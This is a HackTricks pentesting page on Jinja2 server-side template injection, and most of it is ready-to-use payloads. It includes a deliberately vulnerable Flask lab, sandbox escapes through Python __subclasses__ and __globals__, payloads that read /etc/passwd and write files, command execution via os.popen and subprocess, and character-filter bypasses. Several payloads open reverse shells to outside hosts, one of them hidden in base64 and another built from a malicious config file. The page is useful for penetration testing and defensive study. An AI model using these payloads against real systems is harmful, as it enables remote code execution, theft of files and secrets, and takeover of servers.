hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

# Jinja2 SSTI

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## **Lab**

```python
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
    if request.args.get('c'):
        return render_template_string(request.args.get('c'))
    else:
        return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
    app.run()
```

## **Misc**

### **Debug Statement**

If the Debug Extension is enabled, a `debug` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.

```python
<pre>

{% raw %}
{% debug %}
{% endraw %}





</pre>
```

Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)

### **Dump all config variables**

```python
{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}




```

## **Jinja Injection**

First of all, in a Jinja injection you need to **find a way to escape from the sandbox** and recover access the regular python execution flow. To do so, you need to **abuse objects** that are **from** the **non-sandboxed environment but are accessible from the sandbox**.

### Accessing Global Objects

For example, in the code `render_template("hello.html", username=username, email=email)` the objects username and email **come from the non-sanboxed python env** and will be **accessible** inside the **sandboxed env.**\
\*\*\*\*Moreover, there are other objects that will be **always accessible from the sandboxed env**, these are:

```
[]
''
()
dict
config
request
```

### Recovering \<class 'object'>

Then, from these objects we need to get to the class: **`<class 'object'>`** in order to try to **recover** defined **classes**. This is because from this object we can call the **`__subclasses__`** method and **access all the classes from the non-sandboxed** python env.

In order to access that **object class**, you need to **access a class object** and then access either **`__base__`**, **`__mro__()[-1]`** or `.`**`mro()[-1]`**. And then, **after** reaching this **object class** we **call** **`__subclasses__()`**.

Check these examples:

```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object". 
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}






# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```

### RCE Escaping

**Having recovered** `<class 'object'>` and called `__subclasses__` we can now use those classes to read and write files and exec code.

The call to `__subclasses__` has given us the opportunity to **access hundreds of new functions**, we will be happy just by accessing the **file class** to **read/write files** or any class with access to a class that **allows to execute commands** (like `os`).

**Read/Write remote file**

```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```

**RCE**

```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Calling os.popen without guessing the index of the class

{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


```

To learn about **more classes** that you can use to **escape** you can **check**:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}

### Filter bypasses

#### Common bypasses

These bypass will allow us to **access** the **attributes** of the objects **without using some chars**.\
We have already seen some of these bypasses in the examples of the previous, but let sumarize them here:

```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}




```

* [**Return here for more options to access a global object**](jinja2-ssti.md#accessing-global-objects)
* [**Return here for more options to access the object class**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Read this to get RCE without the object class**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)

**Avoiding HTML encoding**

By default Flask HTML encode all the inside a template for security reasons:

```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```

**The `safe`** filter allows us to inject JavaScript and HTML into the page **without** it being **HTML encoded**, like this:

```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```

**RCE by writing an evil config file.**

```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```

## Without several chars

Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**

```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}



```

## Jinja Injection without **\<class 'object'>**

From the [**global objects**](jinja2-ssti.md#accessing-global-objects) there is another way to get to **RCE without using that class.**\
If you manage to get to any **function** from those globals objects, you will be able to access **`__globals__.__builtins__`** and from there the **RCE** is very **simple**.

You can **find functions** from the objects **`request`**, **`config`** and any **other** interesting **global object** you have access to with:

```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more
```

Once you have found some functions you can recover the builtins with:

```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid
```

## References

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Check [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)

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